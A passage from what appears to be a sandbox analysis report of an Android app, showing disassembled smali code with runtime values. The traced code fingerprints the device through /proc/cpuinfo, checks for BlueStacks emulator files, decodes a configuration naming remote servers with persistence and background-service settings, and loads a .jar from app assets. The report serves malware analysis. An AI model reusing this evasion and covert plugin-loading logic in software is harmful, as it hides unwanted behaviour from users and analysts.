                              25new-instance v2, Ljava/lang/StringBuffer;
                              27invoke-direct {v2}, Ljava/lang/StringBuffer;-><init>()V
                              29const-string v3, ""
                              30new-instance v3, Ljava/io/BufferedReader;
                              31new-instance v4, Ljava/io/InputStreamReader;
                              33invoke-virtual {v1}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
                              34move-result-object v1
                              36const-string v5, "utf-8"
                              38invoke-direct {v4, v1, v5}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;Ljava/lang/String;)V
                              40invoke-direct {v3, v4}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                              41goto_37:
                              42invoke-virtual {v3}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                              • Time: 11381983976
                                • This:
                                  • java.io.BufferedReader@165744ab
                                • Return:
                                  • processor: 0
                              • Time: 11381983981
                                • This:
                                  • java.io.BufferedReader@165744ab
                                • Return:
                                  • model name: ARMv7 Processor rev 0 (v7l)
                              • Time: 11381983988
                                • This:
                                  • java.io.BufferedReader@165744ab
                                • Return:
                                  • BogoMIPS: 38.40
                              • Time: 11381983993
                                • This:
                                  • java.io.BufferedReader@165744ab
                                • Return:
                                  • Features: swp half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32
                              • Time: 11381983997
                                • This:
                                  • java.io.BufferedReader@165744ab
                                • Return:
                                  • CPU implementer: 0x41
                              • Time: 11381984002
                                • This:
                                  • java.io.BufferedReader@165744ab
                                • Return:
                                  • CPU architecture: 7
                              • Time: 11381984006
                                • This:
                                  • java.io.BufferedReader@165744ab
                                • Return:
                                  • CPU variant: 0x0
                              • Time: 11381984013
                                • This:
                                  • java.io.BufferedReader@165744ab
                                • Return:
                                  • CPU part: 0xd03
                              • Time: 11381984020
                                • This:
                                  • java.io.BufferedReader@165744ab
                                • Return:
                                  • CPU revision: 0
                              • Time: 11381984027
                                • This:
                                  • java.io.BufferedReader@165744ab
                                • Return:
                                  • processor: 1
                              • Time: 11381984074
                                • This:
                                  • java.io.BufferedReader@165744ab
                                • Return:
                                  • processor: 2
                              • Time: 11381984118
                                • This:
                                  • java.io.BufferedReader@165744ab
                                • Return:
                                  • processor: 3
                              • Time: 11381984160
                                • This:
                                  • java.io.BufferedReader@165744ab
                                • Return:
                                  • Hardware: Qualcomm Technologies, Inc MSM8916
                              • Time: 11381984164
                                • This:
                                  • java.io.BufferedReader@165744ab
                                • Return:
                                  • Revision: 82b0
                              • Time: 11381984171
                                • This:
                                  • java.io.BufferedReader@165744ab
                                • Return:
                                  • Serial: e1c22d0d00000000
                              • Time: 11381984178
                                • This:
                                  • java.io.BufferedReader@165744ab
                                • Return:
                                  • Processor: ARMv7 Processor rev 0 (v7l)
                              • Time: 11381984183
                                • This:
                                  • java.io.BufferedReader@165744ab
                                • Return:
                                  • Device: osprey
                              • Time: 11381984188
                                • This:
                                  • java.io.BufferedReader@165744ab
                                • Return:
                                  • Radio: 4
                              • Time: 11381984192
                                • This:
                                  • java.io.BufferedReader@165744ab
                                • Return:
                                  • MSM Hardware: MSM8916
                              • Time: 11381984196
                                • This:
                                  • java.io.BufferedReader@165744ab
                                • Return:
                                  • null
                              43move-result-object v1
                              44if-eqz v1, :cond_43
                              46invoke-virtual {v2, v1}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                              47goto/16 :goto_37
                              48catch_41: move-exception v1
                              49goto_42: return-object v0
                              50cond_43:
                              51invoke-virtual {v3}, Ljava/io/BufferedReader;->close()V
                              53invoke-virtual {v2}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                              54move-result-object v1
                              56invoke-virtual {v1}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
                              57try_end_4d: move-result-object v0
                              58goto/16 :goto_42
                              Cross References
                              APIs
                              • java.lang.System.getProperty
                              • java.lang.StringBuilder.<init>
                              • android.os.Build.MODEL:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • android.content.Context.getPackageName
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.System.setProperty
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.optJSONObject
                              • org.json.JSONObject.optJSONObject
                              • org.json.JSONObject.optJSONObject
                              • org.json.JSONObject.optJSONObject
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.Exception.getMessage
                              Strings
                              • PluginConfig
                              • Galaxy Nexus
                              • air.nu.strafwerk.takecontrol
                              • use
                              • config
                              • hs
                              • ps
                              • mp
                              • rp
                              • lib use Appid
                              • Channelid
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-direct {p0}, Lsdk/nicro/lu/s;-><init>()V
                              3iput-object p1, p0, Lsdk/nicro/lu/s$b;->h:Landroid/content/Context;
                              4try_start_5:
                              5const-string/jumbo v0, "PluginConfig"
                              7invoke-static {}, Lsdk/nicro/lu/s;->e()Ljava/lang/String;
                              8move-result-object v1
                              10invoke-static {v0, v1}, Ljava/lang/System;->getProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              11move-result-object v0
                              13invoke-static {}, Lsdk/nicro/lu/s;->e()Ljava/lang/String;
                              14move-result-object v1
                              15if-eqz v1, :cond_38
                              16new-instance v1, Ljava/lang/StringBuilder;
                              18invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              20sget-object v2, Landroid/os/Build;->MODEL:Ljava/lang/String;
                              • Time: 11382130264
                                • Return:
                                  • Galaxy Nexus
                              22invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              23move-result-object v1
                              25invoke-virtual {p1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                              • Time: 11382130269
                                • This:
                                  • com.wag.CongratulationLC@a89c243
                                • Return:
                                  • air.nu.strafwerk.takecontrol
                              26move-result-object v2
                              28invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              29move-result-object v1
                              31invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              32move-result-object v1
                              34invoke-static {v1}, Lsdk/nicro/lu/d;->a(Ljava/lang/String;)Ljava/lang/String;
                              35move-result-object v1
                              37invoke-static {}, Lsdk/nicro/lu/s;->e()Ljava/lang/String;
                              38move-result-object v2
                              40invoke-static {v1, v2}, Ljava/lang/System;->setProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              41cond_38:
                              42invoke-static {}, Lsdk/nicro/lu/t;->a()Lsdk/nicro/lu/h;
                              43move-result-object v1
                              44new-instance v2, Ljava/lang/StringBuilder;
                              46invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              48const-string/jumbo v3, "use "
                              50invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              51move-result-object v2
                              53invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              54move-result-object v2
                              56const-string/jumbo v3, " config"
                              58invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              59move-result-object v2
                              61invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              62move-result-object v2
                              64invoke-interface {v1, v2}, Lsdk/nicro/lu/h;->a(Ljava/lang/String;)V
                              66invoke-static {p1, v0}, Lsdk/nicro/lu/s$b;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/io/InputStream;
                              67move-result-object v0
                              68new-instance v1, Lorg/json/JSONObject;
                              70invoke-direct {p0, v0}, Lsdk/nicro/lu/s$b;->a(Ljava/io/InputStream;)Ljava/lang/String;
                              71move-result-object v0
                              73invoke-direct {v1, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                              • Time: 11382130558
                                • p0: {"hs":{"HostServer":"http://47.88.212.227:8688","server":"https://bcd.lkjuio.com","default":"https://bcd.lkjuio.com","logEvent":"https://cde.lkjuio.com","dataevent":"https://log.lkjuio.com","PluginServer":"https://bcd.lkjuio.com"},"mp":{"OpenCat":"false","NewSecurity":"true","MultiPackage":"true","Shield_appleid":"true","SdkVersion":"1025","NewRequestInterface":"true","DataEnc":"qgxbq","NicroTestMode":"false","BTenPlug":"yxvnw","SdkMode":"","SdkMethod":"init","UseGuardProcess":"true","XNJ":"fslmo","NativeMask":"KRI","SdkClass":"com.omgSdk.andoclib.Admob","NewAction":"false","UserEnc":"NEstJk","VEightPlug":"CBmhxf","AZeroPlug":"YSkhM","PluginsDir":"attachment","LaunchOne":"true","UseNewNativeLoader":"true","SdkPlace":"BackgroundService","AutoPop":"20000","CanWorkCheck":"false","VersionCode":"11026","ApiInfo":"paralyse","CFivePlug":"gMsOgS","sdkVersion":"11020","ForeignCount":"enclosure","TNinePlug":"tgIyn","NowData":"vicinity","IsPersistent":"true","sdks":"1","appleid":"WshOhf","FSixPlug":"yhJenXv","If.dsp":"t
                                • Return:
                                  • {"hs":{"HostServer":"http:\/\/47.88.212.227:8688","server":"https:\/\/bcd.lkjuio.com","default":"https:\/\/bcd.lkjuio.com","logEvent":"https:\/\/cde.lkjuio.com","dataevent":"https:\/\/log.lkjuio.com","PluginServer":"https:\/\/bcd.lkjuio.com"},"mp":{"OpenCat":"false","NewSecurity":"true","MultiPackage":"true","Shield_appleid":"true","SdkVersion":"1025","NewRequestInterface":"true","DataEnc":"qgxbq","NicroTestMode":"false","BTenPlug":"yxvnw","SdkMode":"","SdkMethod":"init","UseGuardProcess":"true","XNJ":"fslmo","NativeMask":"KRI","SdkClass":"com.omgSdk.andoclib.Admob","NewAction":"false","UserEnc":"NEstJk","VEightPlug":"CBmhxf","AZeroPlug":"YSkhM","PluginsDir":"attachment","LaunchOne":"true","UseNewNativeLoader":"true","SdkPlace":"BackgroundService","AutoPop":"20000","CanWorkCheck":"false","VersionCode":"11026","ApiInfo":"paralyse","CFivePlug":"gMsOgS","sdkVersion":"11020","ForeignCount":"enclosure","TNinePlug":"tgIyn","NowData":"vicinity","IsPersistent":"true","sdks":"1","appleid":"WshOhf","FSixPlug":"yhJenXv"
                              74iput-object v1, p0, Lsdk/nicro/lu/s$b;->a:Lorg/json/JSONObject;
                              76iget-object v0, p0, Lsdk/nicro/lu/s$b;->a:Lorg/json/JSONObject;
                              78const-string/jumbo v1, "hs"
                              80invoke-virtual {v0, v1}, Lorg/json/JSONObject;->optJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                              81move-result-object v0
                              82iput-object v0, p0, Lsdk/nicro/lu/s$b;->b:Lorg/json/JSONObject;
                              84iget-object v0, p0, Lsdk/nicro/lu/s$b;->a:Lorg/json/JSONObject;
                              86const-string/jumbo v1, "ps"
                              88invoke-virtual {v0, v1}, Lorg/json/JSONObject;->optJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                              89move-result-object v0
                              90iput-object v0, p0, Lsdk/nicro/lu/s$b;->c:Lorg/json/JSONObject;
                              92iget-object v0, p0, Lsdk/nicro/lu/s$b;->a:Lorg/json/JSONObject;
                              94const-string/jumbo v1, "mp"
                              96invoke-virtual {v0, v1}, Lorg/json/JSONObject;->optJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                              97move-result-object v0
                              98iput-object v0, p0, Lsdk/nicro/lu/s$b;->d:Lorg/json/JSONObject;
                              100iget-object v0, p0, Lsdk/nicro/lu/s$b;->a:Lorg/json/JSONObject;
                              102const-string/jumbo v1, "rp"
                              104invoke-virtual {v0, v1}, Lorg/json/JSONObject;->optJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                              105move-result-object v0
                              106iput-object v0, p0, Lsdk/nicro/lu/s$b;->e:Lorg/json/JSONObject;
                              108invoke-static {}, Lsdk/nicro/lu/t;->a()Lsdk/nicro/lu/h;
                              109move-result-object v0
                              110new-instance v1, Ljava/lang/StringBuilder;
                              112invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              114const-string/jumbo v2, "lib use Appid "
                              116invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              117move-result-object v1
                              119invoke-virtual {p0}, Lsdk/nicro/lu/s$b;->a()Ljava/lang/String;
                              120move-result-object v2
                              122invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              123move-result-object v1
                              125const-string/jumbo v2, " Channelid "
                              127invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              128move-result-object v1
                              130invoke-virtual {p0}, Lsdk/nicro/lu/s$b;->b()Ljava/lang/String;
                              131move-result-object v2
                              133invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              134move-result-object v1
                              136invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              137move-result-object v1
                              139invoke-interface {v0, v1}, Lsdk/nicro/lu/h;->a(Ljava/lang/String;)V
                              140goto_c3: return-void
                              141catch_c4: move-exception v0
                              143invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                              144move-result-object v0
                              146invoke-static {v0}, Lsdk/nicro/lu/s;->d(Ljava/lang/String;)V
                              147goto/16 :goto_c3
                              Cross References
                              APIs
                              • java.lang.ProcessBuilder.<init>
                              • java.lang.ProcessBuilder.start
                              • java.lang.StringBuffer.<init>
                              • java.lang.Process.getInputStream
                              • java.io.InputStreamReader.<init>
                              • java.io.BufferedReader.<init>
                              • java.io.BufferedReader.readLine
                              • java.lang.StringBuffer.append
                              • java.io.BufferedReader.close
                              • java.lang.StringBuffer.toString
                              • java.lang.String.toLowerCase
                              Strings
                              • /system/bin/cat
                              • /proc/cpuinfo
                              • utf-8
                              • BogoMIPS: 38.40
                              • CPU architecture: 7
                              • CPU implementer: 0x41
                              • CPU part: 0xd03
                              • CPU revision: 0
                              • CPU variant: 0x0
                              • Device: osprey
                              • Features: swp half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32
                              • Hardware: Qualcomm Technologies, Inc MSM8916
                              • MSM Hardware: MSM8916
                              • Processor: ARMv7 Processor rev 0 (v7l)
                              • Radio: 4
                              • Revision: 82b0
                              • Serial: e1c22d0d00000000
                              • model name: ARMv7 Processor rev 0 (v7l)
                              • processor: 0
                              • processor: 1
                              • processor: 2
                              • processor: 3
                              • read cpu
                              Position Instruction Meta Information
                              0.prologue
                              2const-string/jumbo v0, ""
                              3const/4 v1, 0x2
                              4try_start_4: new-array v1, v1, [Ljava/lang/String;
                              5const/4 v2, 0x0
                              7const-string/jumbo v3, "/system/bin/cat"
                              8aput-object v3, v1, v2
                              9const/4 v2, 0x1
                              11const-string/jumbo v3, "/proc/cpuinfo"
                              12aput-object v3, v1, v2
                              13new-instance v2, Ljava/lang/ProcessBuilder;
                              15invoke-direct {v2, v1}, Ljava/lang/ProcessBuilder;-><init>([Ljava/lang/String;)V
                              • Time: 11382130694
                                • p0: [Ljava.lang.String;@2320378e
                                • p0.Arrays.toString: [/system/bin/cat, /proc/cpuinfo]
                                • Return:
                                  • java.lang.ProcessBuilder@b791baf
                              17invoke-virtual {v2}, Ljava/lang/ProcessBuilder;->start()Ljava/lang/Process;
                              • Time: 11382130710
                                • This:
                                  • java.lang.ProcessBuilder@b791baf
                                • Return:
                                  • Process[pid=20643]
                              18move-result-object v1
                              19new-instance v2, Ljava/lang/StringBuffer;
                              21invoke-direct {v2}, Ljava/lang/StringBuffer;-><init>()V
                              23const-string/jumbo v3, ""
                              24new-instance v3, Ljava/io/BufferedReader;
                              25new-instance v4, Ljava/io/InputStreamReader;
                              27invoke-virtual {v1}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
                              28move-result-object v1
                              30const-string/jumbo v5, "utf-8"
                              32invoke-direct {v4, v1, v5}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;Ljava/lang/String;)V
                              34invoke-direct {v3, v4}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                              35goto_34:
                              36invoke-virtual {v3}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                              • Time: 11382130719
                                • This:
                                  • java.io.BufferedReader@5edb745
                                • Return:
                                  • processor: 0
                              • Time: 11382130729
                                • This:
                                  • java.io.BufferedReader@5edb745
                                • Return:
                                  • model name: ARMv7 Processor rev 0 (v7l)
                              • Time: 11382130741
                                • This:
                                  • java.io.BufferedReader@5edb745
                                • Return:
                                  • BogoMIPS: 38.40
                              • Time: 11382130746
                                • This:
                                  • java.io.BufferedReader@5edb745
                                • Return:
                                  • Features: swp half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32
                              • Time: 11382130750
                                • This:
                                  • java.io.BufferedReader@5edb745
                                • Return:
                                  • CPU implementer: 0x41
                              • Time: 11382130757
                                • This:
                                  • java.io.BufferedReader@5edb745
                                • Return:
                                  • CPU architecture: 7
                              • Time: 11382130761
                                • This:
                                  • java.io.BufferedReader@5edb745
                                • Return:
                                  • CPU variant: 0x0
                              • Time: 11382130766
                                • This:
                                  • java.io.BufferedReader@5edb745
                                • Return:
                                  • CPU part: 0xd03
                              • Time: 11382130770
                                • This:
                                  • java.io.BufferedReader@5edb745
                                • Return:
                                  • CPU revision: 0
                              • Time: 11382130780
                                • This:
                                  • java.io.BufferedReader@5edb745
                                • Return:
                                  • processor: 1
                              • Time: 11382130828
                                • This:
                                  • java.io.BufferedReader@5edb745
                                • Return:
                                  • processor: 2
                              • Time: 11382130878
                                • This:
                                  • java.io.BufferedReader@5edb745
                                • Return:
                                  • processor: 3
                              • Time: 11382130927
                                • This:
                                  • java.io.BufferedReader@5edb745
                                • Return:
                                  • Hardware: Qualcomm Technologies, Inc MSM8916
                              • Time: 11382130934
                                • This:
                                  • java.io.BufferedReader@5edb745
                                • Return:
                                  • Revision: 82b0
                              • Time: 11382130939
                                • This:
                                  • java.io.BufferedReader@5edb745
                                • Return:
                                  • Serial: e1c22d0d00000000
                              • Time: 11382130951
                                • This:
                                  • java.io.BufferedReader@5edb745
                                • Return:
                                  • Processor: ARMv7 Processor rev 0 (v7l)
                              • Time: 11382130962
                                • This:
                                  • java.io.BufferedReader@5edb745
                                • Return:
                                  • Device: osprey
                              • Time: 11382130967
                                • This:
                                  • java.io.BufferedReader@5edb745
                                • Return:
                                  • Radio: 4
                              • Time: 11382130974
                                • This:
                                  • java.io.BufferedReader@5edb745
                                • Return:
                                  • MSM Hardware: MSM8916
                              • Time: 11382130978
                                • This:
                                  • java.io.BufferedReader@5edb745
                                • Return:
                                  • null
                              37move-result-object v1
                              38if-eqz v1, :cond_46
                              40invoke-virtual {v2, v1}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                              41try_end_3d: goto/16 :goto_34
                              42catch_3e: move-exception v1
                              44const-string/jumbo v2, "read cpu "
                              46invoke-static {v2, v1}, Lcom/omg/tool/log/Logger;->E(Ljava/lang/String;Ljava/lang/Throwable;)V
                              47goto_45: return-object v0
                              48cond_46:
                              49invoke-virtual {v3}, Ljava/io/BufferedReader;->close()V
                              51invoke-virtual {v2}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                              52move-result-object v1
                              54invoke-virtual {v1}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
                              55try_end_50: move-result-object v0
                              56goto/16 :goto_45
                              Cross References
                              APIs
                              • java.io.File.<init>
                              • java.io.File.exists
                              Strings
                              • /data/app/com.bluestacks.BstCommandProcessor-1.apk
                              • /data/app/com.bluestacks.appmart-1.apk
                              • /data/app/com.bluestacks.help-1.apk
                              • /data/app/com.bluestacks.home-1.apk
                              • /data/app/com.bluestacks.s2p-1.apk
                              • /data/app/com.bluestacks.searchapp-1.apk
                              • /data/bluestacks.prop
                              • /data/data/com.androVM.vmconfig
                              • /data/data/com.bluestacks.BstCommandProcessor
                              • /data/data/com.bluestacks.accelerometerui
                              • /data/data/com.bluestacks.appfinder
                              • /data/data/com.bluestacks.appmart
                              • /data/data/com.bluestacks.appsettings
                              • /data/data/com.bluestacks.bstfolder
                              • /data/data/com.bluestacks.help
                              • /data/data/com.bluestacks.home
                              • /data/data/com.bluestacks.s2p
                              • /data/data/com.bluestacks.searchapp
                              • /data/data/com.bluestacks.settings
                              • /data/data/com.bluestacks.setup
                              • /data/data/com.bluestacks.spotlight
                              • /mnt/prebundledapps/bluestacks.prop.orig
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x1
                              2const/4 v1, 0x0
                              3const/16 v0, 0x16
                              4new-array v3, v0, [Ljava/lang/String;
                              6const-string/jumbo v0, "/data/app/com.bluestacks.appmart-1.apk"
                              7aput-object v0, v3, v1
                              9const-string/jumbo v0, "/data/app/com.bluestacks.BstCommandProcessor-1.apk"
                              10aput-object v0, v3, v2
                              11const/4 v0, 0x2
                              13const-string/jumbo v4, "/data/app/com.bluestacks.help-1.apk"
                              14aput-object v4, v3, v0
                              15const/4 v0, 0x3
                              17const-string/jumbo v4, "/data/app/com.bluestacks.home-1.apk"
                              18aput-object v4, v3, v0
                              19const/4 v0, 0x4
                              21const-string/jumbo v4, "/data/app/com.bluestacks.s2p-1.apk"
                              22aput-object v4, v3, v0
                              23const/4 v0, 0x5
                              25const-string/jumbo v4, "/data/app/com.bluestacks.searchapp-1.apk"
                              26aput-object v4, v3, v0
                              27const/4 v0, 0x6
                              29const-string/jumbo v4, "/data/bluestacks.prop"
                              30aput-object v4, v3, v0
                              31const/4 v0, 0x7
                              33const-string/jumbo v4, "/data/data/com.androVM.vmconfig"
                              34aput-object v4, v3, v0
                              35const/16 v0, 0x8
                              37const-string/jumbo v4, "/data/data/com.bluestacks.accelerometerui"
                              38aput-object v4, v3, v0
                              39const/16 v0, 0x9
                              41const-string/jumbo v4, "/data/data/com.bluestacks.appfinder"
                              42aput-object v4, v3, v0
                              43const/16 v0, 0xa
                              45const-string/jumbo v4, "/data/data/com.bluestacks.appmart"
                              46aput-object v4, v3, v0
                              47const/16 v0, 0xb
                              49const-string/jumbo v4, "/data/data/com.bluestacks.appsettings"
                              50aput-object v4, v3, v0
                              51const/16 v0, 0xc
                              53const-string/jumbo v4, "/data/data/com.bluestacks.BstCommandProcessor"
                              54aput-object v4, v3, v0
                              55const/16 v0, 0xd
                              57const-string/jumbo v4, "/data/data/com.bluestacks.bstfolder"
                              58aput-object v4, v3, v0
                              59const/16 v0, 0xe
                              61const-string/jumbo v4, "/data/data/com.bluestacks.help"
                              62aput-object v4, v3, v0
                              63const/16 v0, 0xf
                              65const-string/jumbo v4, "/data/data/com.bluestacks.home"
                              66aput-object v4, v3, v0
                              67const/16 v0, 0x10
                              69const-string/jumbo v4, "/data/data/com.bluestacks.s2p"
                              70aput-object v4, v3, v0
                              71const/16 v0, 0x11
                              73const-string/jumbo v4, "/data/data/com.bluestacks.searchapp"
                              74aput-object v4, v3, v0
                              75const/16 v0, 0x12
                              77const-string/jumbo v4, "/data/data/com.bluestacks.settings"
                              78aput-object v4, v3, v0
                              79const/16 v0, 0x13
                              81const-string/jumbo v4, "/data/data/com.bluestacks.setup"
                              82aput-object v4, v3, v0
                              83const/16 v0, 0x14
                              85const-string/jumbo v4, "/data/data/com.bluestacks.spotlight"
                              86aput-object v4, v3, v0
                              87const/16 v0, 0x15
                              89const-string/jumbo v4, "/mnt/prebundledapps/bluestacks.prop.orig"
                              90aput-object v4, v3, v0
                              91move v0, v1
                              92goto_97: array-length v4, v3
                              93if-ge v0, v4, :cond_a8
                              94aget-object v4, v3, v0
                              95new-instance v5, Ljava/io/File;
                              97invoke-direct {v5, v4}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              • Time: 11382130982
                                • This:
                                  • /data/app/com.bluestacks.appmart-1.apk
                                • p0: /data/app/com.bluestacks.appmart-1.apk
                                • Return:
                                  • /data/app/com.bluestacks.appmart-1.apk
                              • Time: 11382130992
                                • This:
                                  • /data/app/com.bluestacks.BstCommandProcessor-1.apk
                                • p0: /data/app/com.bluestacks.BstCommandProcessor-1.apk
                                • Return:
                                  • /data/app/com.bluestacks.BstCommandProcessor-1.apk
                              • Time: 11382131003
                                • This:
                                  • /data/app/com.bluestacks.help-1.apk
                                • p0: /data/app/com.bluestacks.help-1.apk
                                • Return:
                                  • /data/app/com.bluestacks.help-1.apk
                              • Time: 11382131014
                                • This:
                                  • /data/app/com.bluestacks.home-1.apk
                                • p0: /data/app/com.bluestacks.home-1.apk
                                • Return:
                                  • /data/app/com.bluestacks.home-1.apk
                              • Time: 11382131036
                                • This:
                                  • /data/app/com.bluestacks.s2p-1.apk
                                • p0: /data/app/com.bluestacks.s2p-1.apk
                                • Return:
                                  • /data/app/com.bluestacks.s2p-1.apk
                              • Time: 11382131046
                                • This:
                                  • /data/app/com.bluestacks.searchapp-1.apk
                                • p0: /data/app/com.bluestacks.searchapp-1.apk
                                • Return:
                                  • /data/app/com.bluestacks.searchapp-1.apk
                              • Time: 11382131058
                                • This:
                                  • /data/bluestacks.prop
                                • p0: /data/bluestacks.prop
                                • Return:
                                  • /data/bluestacks.prop
                              • Time: 11382131069
                                • This:
                                  • /data/data/com.androVM.vmconfig
                                • p0: /data/data/com.androVM.vmconfig
                                • Return:
                                  • /data/data/com.androVM.vmconfig
                              • Time: 11382131079
                                • This:
                                  • /data/data/com.bluestacks.accelerometerui
                                • p0: /data/data/com.bluestacks.accelerometerui
                                • Return:
                                  • /data/data/com.bluestacks.accelerometerui
                              • Time: 11382131090
                                • This:
                                  • /data/data/com.bluestacks.appfinder
                                • p0: /data/data/com.bluestacks.appfinder
                                • Return:
                                  • /data/data/com.bluestacks.appfinder
                              • Time: 11382131101
                                • This:
                                  • /data/data/com.bluestacks.appmart
                                • p0: /data/data/com.bluestacks.appmart
                                • Return:
                                  • /data/data/com.bluestacks.appmart
                              • Time: 11382131113
                                • This:
                                  • /data/data/com.bluestacks.appsettings
                                • p0: /data/data/com.bluestacks.appsettings
                                • Return:
                                  • /data/data/com.bluestacks.appsettings
                              • Time: 11382131122
                                • This:
                                  • /data/data/com.bluestacks.BstCommandProcessor
                                • p0: /data/data/com.bluestacks.BstCommandProcessor
                                • Return:
                                  • /data/data/com.bluestacks.BstCommandProcessor
                              • Time: 11382131132
                                • This:
                                  • /data/data/com.bluestacks.bstfolder
                                • p0: /data/data/com.bluestacks.bstfolder
                                • Return:
                                  • /data/data/com.bluestacks.bstfolder
                              • Time: 11382131143
                                • This:
                                  • /data/data/com.bluestacks.help
                                • p0: /data/data/com.bluestacks.help
                                • Return:
                                  • /data/data/com.bluestacks.help
                              • Time: 11382131168
                                • This:
                                  • /data/data/com.bluestacks.home
                                • p0: /data/data/com.bluestacks.home
                                • Return:
                                  • /data/data/com.bluestacks.home
                              • Time: 11382131179
                                • This:
                                  • /data/data/com.bluestacks.s2p
                                • p0: /data/data/com.bluestacks.s2p
                                • Return:
                                  • /data/data/com.bluestacks.s2p
                              • Time: 11382131190
                                • This:
                                  • /data/data/com.bluestacks.searchapp
                                • p0: /data/data/com.bluestacks.searchapp
                                • Return:
                                  • /data/data/com.bluestacks.searchapp
                              • Time: 11382131202
                                • This:
                                  • /data/data/com.bluestacks.settings
                                • p0: /data/data/com.bluestacks.settings
                                • Return:
                                  • /data/data/com.bluestacks.settings
                              • Time: 11382131214
                                • This:
                                  • /data/data/com.bluestacks.setup
                                • p0: /data/data/com.bluestacks.setup
                                • Return:
                                  • /data/data/com.bluestacks.setup
                              • 2 additional calls hidden ...
                              99invoke-virtual {v5}, Ljava/io/File;->exists()Z
                              100move-result v4
                              101if-eqz v4, :cond_a9
                              102move v1, v2
                              103cond_a8: return v1
                              104cond_a9: add-int/lit8 v0, v0, 0x1
                              105goto/16 :goto_97
                              Cross References
                              APIs
                              • android.os.Build.MANUFACTURER:Ljava/lang/String
                              • android.content.Context.getCacheDir
                              • java.io.File.<init>
                              • android.os.Build.MODEL:Ljava/lang/String
                              • java.io.File.<init>
                              • android.content.Context.getAssets
                              • android.content.res.AssetManager.open
                              • java.io.DataInputStream.<init>
                              • java.io.FileOutputStream.<init>
                              • java.io.DataOutputStream.<init>
                              • java.io.InputStream.close
                              • java.io.DataOutputStream.close
                              • java.io.DataInputStream.close
                              • java.lang.Exception.printStackTrace
                              Strings
                              • samsung
                              • 1178572636
                              • Galaxy Nexus
                              • .jar
                              • cTU+LQ==
                              • 9377583.jar
                              • NzAtLDovMCg6LQ==
                              • horsepower
                              Position Instruction Meta Information
                              0.prologue
                              1const-class v1, Lcom/convenience/amplify/Faithful;
                              2monitor-enter v1
                              3try_start_3:
                              4sget-object v0, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
                              • Time: 11381984229
                                • Return:
                                  • samsung
                              6const-string v2, ""
                              8invoke-static {v0, v2}, Lcom/convenience/amplify/Faithful;->woodpecker(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              9move-result-object v0
                              10new-instance v2, Ljava/io/File;
                              11new-instance v3, Ljava/io/File;
                              13invoke-virtual {p0}, Landroid/content/Context;->getCacheDir()Ljava/io/File;
                              14move-result-object v4
